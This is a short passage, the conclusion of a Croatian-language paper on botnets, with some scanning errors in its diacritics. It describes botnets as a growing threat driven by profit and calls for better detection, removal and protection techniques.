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6. Zakljucak

Iz svega iznesenog, razvidno je da botnet mreze predstavljaju sve veéu opasnost racunalnoj sigurnosti,
a samim time i korisnicima racunala, poslovanju i sl. Iako njihova prisutnost nije novost, svakim se
danom u njih ugraduju novi programski alati i nove ideje koje ih Cine opasnijima, te je potrebno
uloziti dodatne napore za izradu protumjera i osmisljanje nacina za njihovu detekciju i uklanjanje. Iz
dostupnih je informacija jasno kako je napadac¢ima u novije vrijeme upravo veca moguénost zarade
glavni poticaj za koriStenje botnet mreza. Obzirom na to, korisnicima racunala, a posebno
struénjacima i korporacijama primaran bi interes trebao biti otkrivanje novih tehnika zastite. Ovakav
pristup, na kraju krajeva, i njima donosi ve¢u zaradu i manje financijske gubitke.
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